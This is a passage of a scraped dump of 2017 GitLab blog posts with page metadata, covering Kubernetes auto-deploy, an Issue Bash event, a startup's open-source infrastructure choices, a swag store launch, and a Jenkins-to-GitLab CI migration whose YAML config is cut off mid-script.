potentially stupid question. Well, assign them a buddy so they can ask those questions. Unpack what the interaction is and organize it.\n\n## Does your leadership team get together outside of the team reunions?\n\n**Sid:** We don’t. We do have executive get-togethers. We call them remote off-site where we spend two mornings, working to our quarterly plan, but that’s remote. I think one of the challenges is that you need, as an executive team, you need some talking time together. So we plan that, but because I’m not able to go, when I have something, I tend to not quickly go to someone, but I tend to write it in our agenda. So when we talk we have a big agenda to get through. And the kind of, the risk of that is not talking about the important things, but only about the small things, so that’s something I’m still trying to improve.\n\nHave questions? Tweet us at [@Formassembly](https://twitter.com/FormAssembly?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor) and [@GitLab](https://twitter.com/gitlab).\n",[3949,3798],{"slug":35207,"featured":6,"template":678},"pick-your-brain-interview-cedric-savarese","content:en-us:blog:pick-your-brain-interview-cedric-savarese.yml","Pick Your Brain Interview Cedric Savarese","en-us/blog/pick-your-brain-interview-cedric-savarese.yml","en-us/blog/pick-your-brain-interview-cedric-savarese",{"_path":35213,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35214,"content":35219,"config":35224,"_id":35226,"_type":16,"title":35227,"_source":17,"_file":35228,"_stem":35229,"_extension":20},"/en-us/blog/how-to-auto-deploy-a-gitlab-dot-com-project-to-google-cloud",{"title":35215,"description":35216,"ogTitle":35215,"ogDescription":35216,"noIndex":6,"ogImage":11805,"ogUrl":35217,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35217,"schema":35218},"Auto Deploy a GitLab.com project to Google Cloud","How to get started with our auto deploy feature using Google Kubernetes Engine.","https://about.gitlab.com/blog/how-to-auto-deploy-a-gitlab-dot-com-project-to-google-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Auto Deploy a GitLab.com project to Google Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dmitriy Zaporozhets\"}],\n        \"datePublished\": \"2017-08-10\",\n      }",{"title":35215,"description":35216,"authors":35220,"heroImage":11805,"date":35221,"body":35222,"category":734,"tags":35223},[16575],"2017-08-10","\n\nFor up-to-date information on GitLab's native integration with Google Kubernetes Engine, please visit the announcement blog post: [GitLab + Google Cloud Platform = simplified, scalable deployment](/blog/gke-gitlab-integration/).\n{: .alert .alert-gitlab-orange}\n\nOnce you write your code the next question is, \"How do you deploy it?\" There are plenty of ways to do it but none of them is perfect. You need to configure external tools, write your own scripts and maybe even do manual command execution every time you want a new version deployed. At GitLab we believe deployment should be an essential part of workflows, like code review and CI. Several months ago we shipped an amazing feature, [auto deploy](https://docs.gitlab.com/ee/topics/autodevops/stages.html), that should take care of code deployment for you. Finally, I found some time to give it a try.\n\n\u003C!-- more -->\n\n## What is GitLab Auto Deploy?\n\nOriginally released in [8.15](/releases/2016/12/22/gitlab-8-15-released/#auto-deploy) and heavily improved since then, auto deploy should deploy your application as part of a CI/CD pipeline within the GitLab user interface. It means you can set up an application to be deployed automatically every time a new commit lands into the `master` branch.\n\nAs per the documentation, the feature will package your application into a Docker image that then will be deployed to Kubernetes. GitLab has a container registry feature so the Docker image will be stored within GitLab too.\n\nSetup of the GitLab auto deploy feature is a matter of clicking on the \"Set up auto deploy\" button and applying the \"Kubernetes\" template to your `.gitlab-ci.yml` file. However, before this, you need to configure your GitLab project with valid credentials so it can access your cluster. Which brings us to the point that you need your Kubernetes cluster first.\n\n## Why Google Kubernetes Engine?\n\nThe documentation states, \"Google Kubernetes Engine is a managed environment for deploying containerized applications.\" It runs Kubernetes and you can create your cluster with a few clicks in the web interface.\n\nThere are [a few other](https://kubernetes.io/docs/setup/pick-right-solution/) Kubernetes hosting solutions available on the market and you might prefer a different one, but as a newcomer I decided to go with Google for a few reasons:\n\n* It's number one on the list of proposed solutions on Kubernetes doc.\n* It gives a nice free tier (300$ at the time of this blog post) which is enough for experiments.\n* Google originally started Kubernetes, so I expected some level of maturity from the service.  \n\n## How to tie it all together\n\nIt took me some time to figure out the sequence of events and actions to make it work. This is the result:\n\n1. Create GitLab.com project with Dockerfile\n2. Create cluster\n3. Copy credentials to GitLab.com project\n4. Apply auto deploy template to `.gitlab-ci.yml`\n\nAs a result, I have a [Ruby application](https://gitlab.com/dzaporozhets/minimal-ruby-app) that is built and deployed to staging automatically once I push code to the master branch. Additionally, I can manually deploy any pipeline to production with a single click.  \n\nFor those who are new to Kubernetes but want to try GitLab auto deploy in action, I made a [quick start guide](https://docs.gitlab.com/ee/topics/autodevops/stages.html).\n\n[Cover image](https://unsplash.com/@jbcreate_?photo=eUMEWE-7Ewg) by [Joseph Barrientos](https://unsplash.com/@jbcreate_) on Unsplash\n{: .note}\n",[923,3049],{"slug":35225,"featured":6,"template":678},"how-to-auto-deploy-a-gitlab-dot-com-project-to-google-cloud","content:en-us:blog:how-to-auto-deploy-a-gitlab-dot-com-project-to-google-cloud.yml","How To Auto Deploy A Gitlab Dot Com Project To Google Cloud","en-us/blog/how-to-auto-deploy-a-gitlab-dot-com-project-to-google-cloud.yml","en-us/blog/how-to-auto-deploy-a-gitlab-dot-com-project-to-google-cloud",{"_path":35231,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35232,"content":35237,"config":35242,"_id":35244,"_type":16,"title":35245,"_source":17,"_file":35246,"_stem":35247,"_extension":20},"/en-us/blog/gitlab-issue-bash-september-2017",{"title":35233,"description":35234,"ogTitle":35233,"ogDescription":35234,"noIndex":6,"ogImage":33487,"ogUrl":35235,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35235,"schema":35236},"Join GitLab's September Issue Bash","Join us September 2017 and help us to squash some of the open issues in the GitLab Community Edition tracker!","https://about.gitlab.com/blog/gitlab-issue-bash-september-2017","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join GitLab's September Issue Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Fletcher\"}],\n        \"datePublished\": \"2017-08-08\",\n      }",{"title":35233,"description":35234,"authors":35238,"heroImage":33487,"date":35239,"body":35240,"category":299,"tags":35241},[33492],"2017-08-08","\n\nThis September we'll be holding another of our quarterly issue bashes to allow the Community to get involved in helping to squash some issues in the GitLab Community Edition issue tracker. We have over 1500\n[GitLab contributors](http://contributors.gitlab.com/contributors/),\nand we are always looking for more people to join in and contribute to the project in any way that they can.\n\n\u003C!-- more -->\n\nOf course, some lucky contributors will be rewarded with awesome swag! 🙌\n\nWe now have [the issue bash landing page](/community/issue-bash/) with all the information about how exactly the Issue Bash works. Please take a look there and provide any feedback to our [feedback project](https://gitlab.com/gitlab-org/issue-bash/feedback) or propose changes directly [here](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/source/community/issue-bash/index.html.haml)!\n\n## When is it Going to Happen?\n\nWe'll kick it off at 00:01 UTC on Saturday, **September 2nd**\nand will keep it up until 23:59 UTC on Sunday, **September 3rd**.\n\n## Who Can Contribute?\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;\n**At GitLab, everyone can contribute!**\n&nbsp;&nbsp;\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nThis is your chance to get involved! Most of the tasks don't require\ntechnical expertise, therefore, non-technical community\nmembers are definitely welcome and prize worthy!\n\n## How do You Get Involved?\n\nPlease see [the FAQ on the Issue Bash landing page](/community/issue-bash/#bash-q-a) to learn more about how to get involved.\n\n## Prizes\n\nWe have some awesome swag ready for you:\n\n- Five T-shirts\n- Four pairs of pajama pants\n- Three Moleskine notebooks\n- Two [PocketCHIPs](https://getchip.com/pages/pocketchip)\n- One messenger bag (filled with all the stuff listed above!)\n\n![GitLab Issue Bash - Prizes](https://about.gitlab.com/images/blogimages/gitlab-issue-bash-june-2017-prizes.png)\n\nUsers making any contributions to the project,\nbetween the start and end times of the event, will be entered into the random draw\nto win a prize. The contributions will be collated after the end of the event and\nprize winners, drawn at random, will be contacted in the weeks that follow.\n\nTo see how we draw winners at random please take a look at the [prize winner calculator project](https://gitlab.com/gitlab-org/issue-bash/prize-winner-calculator)\n\n## Questions? More info?\n\n[GitLab team](/company/team/) and [GitLab core team](/community/core-team/) members will be on hand to answer questions and close issues. Please mention them if you need any help or need attention on an issue\n\n* [@markglenfletcher](https://gitlab.com/markglenfletcher)\n* [@blackst0ne](https://gitlab.com/blackst0ne)\n",[277,267,815],{"slug":35243,"featured":6,"template":678},"gitlab-issue-bash-september-2017","content:en-us:blog:gitlab-issue-bash-september-2017.yml","Gitlab Issue Bash September 2017","en-us/blog/gitlab-issue-bash-september-2017.yml","en-us/blog/gitlab-issue-bash-september-2017",{"_path":35249,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35250,"content":35256,"config":35262,"_id":35264,"_type":16,"title":35265,"_source":17,"_file":35266,"_stem":35267,"_extension":20},"/en-us/blog/how-startups-build-it-infrastructure",{"title":35251,"description":35252,"ogTitle":35251,"ogDescription":35252,"noIndex":6,"ogImage":35253,"ogUrl":35254,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35254,"schema":35255},"A way for startups to build a solid IT infrastructure","Seven free software solutions to cover your most important use cases.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679216/Blog/Hero%20Images/startups-it-infrastructure.jpg","https://about.gitlab.com/blog/how-startups-build-it-infrastructure","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A way for startups to build a solid IT infrastructure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"plapadoo\"}],\n        \"datePublished\": \"2017-08-07\",\n      }",{"title":35251,"description":35252,"authors":35257,"heroImage":35253,"date":35259,"body":35260,"category":813,"tags":35261},[35258],"plapadoo","2017-08-07","\n\n *plapadoo is a software startup from Hannover, Germany, providing tailored, high-quality software engineering to their clients. They fill us in on how they chose solutions for their IT infrastructure, including communication, backups, [CI/CD](/topics/ci-cd/) and more.*\n\n\u003C!-- more -->\n\nWe recently founded [our company](https://plapadoo.de/) and so one of the first things to do was to get our infrastructure up and running. As a software startup, our technical infrastructure is the heart of our company. It influences our productivity, has impact on our costs and offers a great chance to set us apart from the competition. Having a good infrastructure is also key to saving us money and increasing development speed.\n\nWhen planning the setup of our infrastructure, we kept two things in mind: First, we wanted to have open source software running wherever possible, and second, we wanted to use strong encryption for both communication and data storage. Also, we prefer lightweight software with few dependencies. Below, you find a small list of important use cases and which software we use to cover them:\n\n- [Chat](#chat) ([Matrix](https://matrix.org/)/[Riot](https://about.riot.im/) web app + Android app)\n- [Email](#email) (self-hosted [Dovecot](https://www.dovecot.org/) + [Postfix](http://www.postfix.org/) + [Sieve](http://sieve.info/) + [SpamAssasin](http://spamassassin.apache.org/))\n- [Calendar and Contacts](#calendar-and-contacts) ([Radicale](http://radicale.org/))\n- [Voice Conferencing](#voice-conferencing) ([uMurmur](http://umurmur.net/)/[Mumble](https://wiki.mumble.info/))\n- [Synchronization of files across multiple devices](#data-storage) ([Syncthing](https://syncthing.net/))\n- [Git and Continuous Integration](#build-and-continuous-integration) ([GitLab](/stages-devops-lifecycle/) & [GitLab CI](/solutions/continuous-integration/))\n- [Backup and Traceability](#backup-and-traceability) ([borgmatic](https://github.com/witten/borgmatic) & [etckeeper](http://etckeeper.branchable.com/))\nBesides this, we have other services (like VPN or HTTP servers) running which are not that special and as such, are not covered on this article.\n\n## Base setup\n\nIt all starts with choosing the platform to run your software on. We decided to use [Arch Linux](https://www.archlinux.org/) as the operating system for our server. Our main reasons for choosing Arch Linux were its active community, good documentation, highly up-to-date repositories with current versions of important software, good support for disk encryption, and finally, the fact that Arch Linux has a rolling update scheme instead of a release-based one. This last point is especially important to us, since we do not want to go through the pain of upgrading our operating system from one version to the next every other year -  which usually causes lots of trouble. Furthermore, release-based distributions tend to have outdated software in their repositories. Instead, we prefer to keep our system always up to date and enjoy the latest version of any software any time.\n\nMost of our software is installed using Arch Linux’ package manager. However, in some cases [Docker](https://docker.com/) is also a good idea to use for running software. This is especially the case when software introduces dependencies you don’t want on your host system or if you are in doubt about the security of a software. Since Docker provides a certain level of isolation, security breaches don’t have as bad consequences as they have when you are running the vulnerable software directly on your host system. However, it should be kept in mind that there is the risk of a so-called container breakout. This basically means that your host system can be subject to an attack even if the vulnerable software is running inside a Docker container. Other reasons for using Docker can be wanting to try something out without messing up your host system or maybe software is simply not available for your Linux distribution. Of course, there are many other advantages to containerization, but we won’t be covering those today.\n\n## Communication\n\nCommunication, and using appropriate communication channels has been central to us since the very beginning. We wanted a means of communicating that was secure, fast, reliable, and easily accessible from any device. This applies to chat, email, contacts and calendar entries.\n\n### Chat\n\nFor chatting, we needed a solution which supported the concept of a “room” or “channel,” so as to keep discussions clear and separated from each other. We found Matrix/Synapse and Riot to be a perfect solution. While we also tried alternatives, such as Rocket.Chat and Mattermost, we liked Riot/Matrix the most because of its native Android app, its active development, and an open API.\n\nWe are using the Matrix API to run custom chat bots. These bots have become quite an important factor in our company, since they massively increase transparency and information distribution among the team. For example, we have bots to inform us about new commits being pushed to our GitLab server, new calendar entries being created in our shared calendar, successful or failed builds and so on. We will cover these bots in detail in an upcoming article.\n\n### Email\n\nSince we want to have complete control over the data belonging to our core business, we use a private mail server. It is indeed challenging to set up securely, but we still decided to go with it because of how important secure and private communication is to us. We had to read a lot of documentation before we could set it up, most importantly to prevent a security hole in the system. Not doing that would possibly mean ending up on a spammer blacklist, since someone could be abusing our mail server, or an attacker gaining access to our mail. It is a lot of work, but we definitely recommend taking the time to understand every step of the process and avoid any mistakes. On the client side, we seek to encrypt our emails using PGP whenever possible.\n\n### Calendar and contacts\n\nIn order to have a shared calendar as well as a shared address book, we are running Radicale, which is a lightweight CalDAV and CardDAV server. Although it is not easy to configure, it comes with support for Git and just quietly does its job in the background. We have never experienced any problems with this software so far and like it for its reliability. For Android and iOS, there are CalDAV and CardDAV adapters available to synchronize everything with your phone.\n\n### Voice Conferencing\n\nFor voice conferencing, it was very important to us to have a trustworthy open source solution in place. Proprietary solutions always come at the risk of backdoors being shipped along with them. We decided to give Mumble a try. Mumble is an open source voice client that requires a central server to handle all the traffic. The official server implementation is called Murmur. When installing Murmur, we learned that it pulls in a giant bunch of dependencies.\n\nAmong those dependencies are things such as X11 which most people don’t want on their servers. The problem with such dependencies is that they introduce potential attack surfaces as well as costing time, money, and other resources to maintain and update them. So you normally want as few dependencies as possible. This alone would make it a bad fit for us, but we still decided to give it a try. One option would have been to run Murmur inside a Docker container where the mentioned dependencies wouldn’t bother us too much. While we were configuring Murmur, we had to choose a server password. As always, we generated a long, strong password with about 60 random characters (including special characters). As we started the server and tried to connect a client, we were completely shocked. Murmur let clients in without requiring a password.\n\nWe found out that Murmur seems to have a problem with long passwords and then just ignores them. So if you configure Murmur with the goal of strong security, you get no security at all. Needless to say that we immediately uninstalled Murmur and all of the crazy dependencies it introduced.\nWhile looking for alternatives, we soon discovered uMurmur which is an alternative Mumble server implementation aiming at embedded systems. It comes with few dependencies and generally seems to be well implemented. We installed it, did not experience any issues with long passwords and have been using it ever since without any problem. The communication is encrypted using a TLS certificate.\n\n## Data storage\n\n![box files](https://about.gitlab.com/images/blogimages/startups-it-infrastructure-body.jpg){: .shadow}\n\nAnother important aspect within a company besides communication is the need to store and distribute documents among its different stakeholders.\nWhen sharing data, most programmers will normally use Git. However, Git is not to best choice for sharing binary data such as documents, photos, videos, etc., because one usually doesn’t need to keep different versions of these files. A common approach is to use ownCloud/NextCloud for data sharing, but since we really don’t like PHP, we precluded these two applications.\n\nInstead, we discovered Syncthing. Once you understand the concept of Syncthing, it is easy to set up, extremely easy to use and it just works out of the box. Syncthing can be described as a software which synchronizes data across several nodes. We have one Syncthing instance running on our server that acts as a kind of master node, although a master is not explicitly needed -  Syncthing is completely decentralized. We also run Syncthing on our desktops and phones. Each Syncthing node has a unique ID, which has to be added using the web interface of the master node in order to share data with them. For the local node, the unique ID of the master node has to be added accordingly. Using this concept of a master node, we don’t have to wire all our devices to each other -  it is enough to just wire each device to the master node.\n\nAfter that, you can select which folders should be shared using Syncthing. Syncthing will then automatically upload any new data you put into these folders to the remote node. Data added by other users is downloaded to the clients on the fly, and deletions of files, changes, etc. are also applied locally. For Android, there is a native Syncthing app available which does exactly the same. By using Syncthing, all our devices always have the latest version of the data stored inside the Syncthing shares on the master node.\n\n## Build and continuous integration\n\nFor Git and continuous integration, we use GitLab, which already comes with integrated CI features. Although GitLab is quite resource-hungry, it provides lots of very nice features such as an integrated issue tracker and the “snippets” area -  where you can paste code snippets and share them. GitLab is well documented and has an open API. It features webhooks that you can use to trigger HTTP requests whenever commits are pushed, CI pipelines start, and so on. We use that to generate notifications in matrix rooms corresponding to the Git repositories. So, for example, if someone pushes a commit to project “foo,” we get a notification in a Matrix room “room about foo,” which is linked to this project.\n\n>GitLab provides lots of very nice features such as an integrated issue tracker and the “snippets” area -  where you can paste code snippets and share them\n\nWe are using the official GitLab Docker image, which already includes [Prometheus](https://prometheus.io/) for monitoring. We are accessing this Prometheus instance from our host system and plot its data in a dedicated [Grafana](https://grafana.com/) dashboard. This way, we can monitor our GitLab server internals with very little effort.\n\nFor building a project using GitLab CI, you need a so-called “gitlab-runner” that acts as a build agent. There are also official Docker images available for those runners, but we have created our own Docker base image, which has some basic tools we constantly need. We use our custom base image to build individual runners for each project on top of it. This way, we have runners tailored exactly to the needs of our projects. Since the Docker socket is mapped into our runners, we can even build and deploy Docker images from within them.\n\nWe like the fact that the build jobs are defined through a “.gitlab-ci.yml” file that is versioned with each project. This way, you can track changes to the build process and always have a running build - even if you checkout an old version of a project.\n\n## Backup and traceability\n\nBacking up your data is very important. Especially nowadays with the widespread use of SSDs, when fatal disk failure is likely to happen. Other reasons for data loss may be accidental deletion or attacks. We are using [BorgBackup](https://borgbackup.readthedocs.io/) together with borgmatic, which is a nice, simple, incremental, and highly automatable backup solution. You can easily specify files to exclude from the backup, and also select how many daily, weekly, monthly and yearly backups you want Borg to keep. By setting up a Cron job or systemd timer, you can fully automate the backup process. We create backups every night and store them on an NFS storage, which is only mounted when the backup process is running. This way, we avoid the backup to be deleted by an accidental `rm -rf /` or some other mishap. Borg encrypts the backups and supports compression to keep your backups safe and small. We like to keep track of any changes we make to the system, especially those to configuration files.\n\nFor Linux, there is a useful little tool called etckeeper, which turns your `/etc` directory into a Git repository. It also adds hooks to your package manager to automatically commit any configuration changes being performed during system updates. Using etckeeper, every configuration change corresponds to a Git commit, with an author, a timestamp and a message. This provides for much more transparency, especially when more than one person administrates a server. Also, the way Git works, accidental changes are detected and bad configurations can be easily reverted.\n\n## Summary\n\nWe explained that we, at plapadoo, prefer lightweight (in terms of dependencies), focused software over bloated solutions and favor open source software. Our custom chat bot gives us a high level of transparency and awareness, and also improves our productivity, since we always know what’s going on, even if working remotely. Lastly, we explained which software solutions we have chosen for which use cases and why.\n\nIf you liked this article, please help us reach more readers by sharing it. If you have any questions, thoughts or recommendations on the topic, feel free to comment. Which software solutions did you choose for your startup?\n\n_This post was originally published on [Medium](https://medium.com/plapadoo/a-way-for-startups-to-build-a-solid-it-infrastructure-a48b222fbff6/)._\n\n[CERN reception, Meyrin, Switzerland](https://unsplash.com/@samuelzeller?photo=JuFcQxgCXwA) by [Samuel Zeller](https://unsplash.com/@samuelzeller) on Unsplash.\n{: .note}\n",[815,10921,4772],{"slug":35263,"featured":6,"template":678},"how-startups-build-it-infrastructure","content:en-us:blog:how-startups-build-it-infrastructure.yml","How Startups Build It Infrastructure","en-us/blog/how-startups-build-it-infrastructure.yml","en-us/blog/how-startups-build-it-infrastructure",{"_path":35269,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35270,"content":35276,"config":35281,"_id":35283,"_type":16,"title":35284,"_source":17,"_file":35285,"_stem":35286,"_extension":20},"/en-us/blog/let-s-talk-swag",{"title":35271,"description":35272,"ogTitle":35271,"ogDescription":35272,"noIndex":6,"ogImage":35273,"ogUrl":35274,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35274,"schema":35275},"Let's talk swag","The GitLab swag store is live with all new swag goodies, and we've got a 25% code to share.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671738/Blog/Hero%20Images/swag-cover.jpg","https://about.gitlab.com/blog/let-s-talk-swag","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Let's talk swag\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2017-08-04\",\n      }",{"title":35271,"description":35272,"authors":35277,"heroImage":35273,"date":35278,"body":35279,"category":299,"tags":35280},[27374],"2017-08-04","\n\nEXTRA! EXTRA! This just in, GitLab just launched a new [swag store](https://shop.gitlab.com/) filled with all types of new goodies. And…for the first time ever, a few select items that you could only lay your hands on at GitLab events will now be available in the store. AKA everyone can have their very own pair of GitLab socks and hand-knit tanuki plush toy.\n\n\u003C!-- more -->\n\nNew items never available before include hoodies, pajama pants, speakers, hats, flasks, and notebooks. We couldn't be more excited to share all these new items with the community, so for a limited time we will be offering a 25% discount (**NEWSWAG**) off everything in the store, with free shipping to all countries. Yes, I said FREE. So, now is the best time to get yourself outfitted with all the GitLab gear you can handle. Technically, you could be dressed head to toe in tanuki wear.\n\n![Tanuki toes](https://about.gitlab.com/images/blogimages/swag-store-socks.jpg){: .shadow}\n\nBut wait, there's more! **For every 25 people who [retweet this announcement](https://twitter.com/gitlab/status/893396098114437121), we will pull one winner to receive a new GitLab hoodie.**  \n\nHere are some of our favorite swaggerific photos from the past year to inspire your GitLab shopping adventure:\n\n![Best of swag](https://about.gitlab.com/images/blogimages/best-of-swag.jpg){: .shadow}\n\nLastly, as our motto states, everyone can contribute — so, we're always open to hearing your [new swag suggestions](https://gitlab.com/gitlab-com/swag_suggestions)!\n\n#### Update August 11th\n\nDue to the extreme amount of orders we got after the store launch, we had to briefly pause our store for the past two days. Everything's back up and running now! Enjoy!\n",[676],{"slug":35282,"featured":6,"template":678},"let-s-talk-swag","content:en-us:blog:let-s-talk-swag.yml","Let S Talk Swag","en-us/blog/let-s-talk-swag.yml","en-us/blog/let-s-talk-swag",{"_path":35288,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35289,"content":35295,"config":35300,"_id":35302,"_type":16,"title":35303,"_source":17,"_file":35304,"_stem":35305,"_extension":20},"/en-us/blog/stackpoint-webcast-recording-highlights",{"title":35290,"description":35291,"ogTitle":35290,"ogDescription":35291,"noIndex":6,"ogImage":35292,"ogUrl":35293,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35293,"schema":35294},"Demo: Turn-key Kubernetes with StackPoint.io","StackPointCloud CEO Matt Baldwin shows how GitLab users can now go even faster from idea to production with an integration that takes the pain out of building Kubernetes clusters.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671181/Blog/Hero%20Images/stackpoint-gitlab-integration.png","https://about.gitlab.com/blog/stackpoint-webcast-recording-highlights","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo: Turn-key Kubernetes with StackPoint.io\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-08-03\",\n      }",{"title":35290,"description":35291,"authors":35296,"heroImage":35292,"date":35297,"body":35298,"category":299,"tags":35299},[19026],"2017-08-03","\n\nStackPointCloud [partnered with us](/blog/stackpoint-gitlab-integration/) to bring you an end-to-end, turn-key Kubernetes solution, speeding up the process from idea to production. Watch the turn-key piece in action in our recent webcast.\n\n\u003C!-- more -->\n\nKubernetes allows you to manage an application across different resources and clouds, enabling self-healing (so if a container dies, it will be rescheduled on another host) and scaling up on demand, or scaling down as needed to save costs. With a host of benefits, it's no surprise that there's a strong and active community around Kubernetes, but for some teams, the time and effort required to install and configure a Kubernetes cluster could be better spent elsewhere.\n\nWhile GitLab covers every step of the software development lifecycle, we do require you to have a Kubernetes cluster up and running before you begin to use it, which is where some users get stuck. Watch the video below to see how our friends at [StackPoint.io](https://stackpointcloud.com/) have worked with us on a solution that does the hard work for you, to \"close the last mile\" in under 10 minutes. The demo starts at 12:02.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/wu2AIcwjeQ8\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\nWant to give it a try for yourself? [Launch a Kubernetes cluster with GitLab in one click](https://goo.gl/qnSp3N).\n",[2509,232],{"slug":35301,"featured":6,"template":678},"stackpoint-webcast-recording-highlights","content:en-us:blog:stackpoint-webcast-recording-highlights.yml","Stackpoint Webcast Recording Highlights","en-us/blog/stackpoint-webcast-recording-highlights.yml","en-us/blog/stackpoint-webcast-recording-highlights",{"_path":35307,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35308,"content":35313,"config":35318,"_id":35320,"_type":16,"title":35321,"_source":17,"_file":35322,"_stem":35323,"_extension":20},"/en-us/blog/docker-my-precious",{"title":35309,"description":35310,"ogTitle":35309,"ogDescription":35310,"noIndex":6,"ogImage":14756,"ogUrl":35311,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35311,"schema":35312},"Continuous integration: From Jenkins to GitLab using Docker","We're migrating all of our working tools to open source ones, and moving to GitLab has made all the difference.","https://about.gitlab.com/blog/docker-my-precious","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Continuous integration: From Jenkins to GitLab using Docker\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abdulkader Benchi\"}],\n        \"datePublished\": \"2017-07-27\",\n      }",{"title":35309,"description":35310,"authors":35314,"heroImage":14756,"date":35315,"body":35316,"category":813,"tags":35317},[35142],"2017-07-27","\n\n Here at [Linagora](https://linagora.com/), we are migrating all our working tools to open source ones. Yes, we are an open source company with open source lovers.\n\n\u003C!-- more -->\n\nAmong these different tools were the [Atlassian](https://www.atlassian.com/) development tools. We decided to switch to GitLab and it started making all the difference. Indeed, GitLab includes Git repository management, issue tracking, code review, an IDE, activity streams, wikis, and more. It's worth mentioning that GitLab has built-in [Continuous Integration (CI) and Continuous Deployment (CD)](/topics/ci-cd/) to test, build, and deploy our code. We can easily monitor the progress of our tests and build pipelines. What we love about the CI provided by GitLab is the fact that it supports Docker. Indeed, GitLab allows us to use custom [Docker](https://www.docker.com/) images, spin up services as part of testing, build new Docker images, even run on [Kubernetes](https://kubernetes.io/).\n\nIf you are a Docker lover and you want to see how to transform [Jenkins](https://jenkins.io/) CI to GitLab CI using Docker, then you are in the right place.\n\n### Jenkins job\n\nLet’s have a look at our Jenkins Job.\n\n```\nMONGOPORT=23500\nBASEDIR=`pwd`\n\n# Update tools\n(cd repo && composer update)\n\n# Run code style checker\n./repo/vendor/bin/phpcs -p --standard=repo/vendor/sabre/dav/tests/phpcs/ruleset.xml --report-checkstyle=checkstyle.xml repo/lib/\n\n# Cleanup\nrm -rf mongodb\nrm -f mongo.pid\nrm -f mongo.log\nmkdir -p mongodb\n\n\n# Start temporary mongo server\nmongod --dbpath mongodb \\\n       --port $MONGOPORT \\\n       --pidfilepath $BASEDIR/mongo.pid \\\n       --logpath mongo.log \\\n        --fork\n\nsleep 2\n\n# Configure\ncat \u003C\u003CEOF > repo/config.json\n{\n  \"webserver\": {\n    \"baseUri\": \"/\",\n    \"allowOrigin\": \"*\"\n  },\n  \"database\": {\n    \"esn\": {\n      \"connectionString\" : \"mongodb://localhost:$MONGOPORT/\",\n      \"db\": \"esn\",\n      \"connectionOptions\": {\n        \"w\": 1,\n        \"fsync\": true,\n        \"connectTimeoutMS\": 10000\n      }\n    },\n    \"sabre\": {\n      \"connectionString\" : \"mongodb://localhost:$MONGOPORT/\",\n      \"db\": \"sabredav\",\n      \"connectionOptions\": {\n        \"w\": 1,\n        \"fsync\": true,\n        \"connectTimeoutMS\": 10000\n      }\n    }\n  },\n  \"esn\": {\n    \"apiRoot\": \"http://localhost:8080/api\"\n  }\n}\nEOF\n\n# Run unit tests\n(cd repo/tests && ../vendor/bin/phpunit \\\n    --coverage-clover=$BASEDIR/clover.xml \\\n    --log-junit=$BASEDIR/junit.xml \\\n    .)\n\n# Clean up\nkill `cat mongo.pid`\n```\n\nI know, it is horrible to read this configuration, but you know we have to configure everything from A to Z in Jenkins. I can confirm that this job is one of the simplest jobs we have, because it depends on only one external service, “MongoDB.” We passed almost half of this job configuring this external service, starting it, cleaning it and killing it. Whereas, our main job is only about 10 lines. Furthermore, we suppose that on the Jenkins machine, we already have installed PHP, all PHP plugins and composer. So if we change the machine we have to reconfigure the new machine before starting using it. Docker… help please.\n\n![Docker help us](https://about.gitlab.com/images/blogimages/sos-docker.jpg){: .shadow}\u003Cbr>\n\n### GitLab job\n\nBefore starting, it's worth mentioning that good documentation about this part is presented [here](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html). If you got it right, all GitLab’s CI configuration is to be done in a file called .gitlab-ci.yml. I will start presenting the final result before discussing the details:\n\n```\nimage: linagora/php-deps-composer:5.6.30\n\nservices:\n  - mongo:3.2\n\nstages:\n  - build\n  - deploy_dev\n\nbuild:\n  stage: build\n  script:\n    - composer up\n    - cp config.tests.json config.json\n    - ./vendor/bin/phpcs -p --standard=vendor/sabre/dav/tests/phpcs/ruleset.xml --report-checkstyle=checkstyle.xml lib/\n    - cd tests\n    - ../vendor/bin/phpunit --coverage-clover=${CI_PROJECT_DIR}/clover.xml --log-junit=${CI_PROJECT_DIR}/junit.xml .\n\ndeploy_dev:\n  stage: deploy_dev\n  only:\n    - master\n  script:\n    - cd /srv/sabre.dev\n    - git fetch 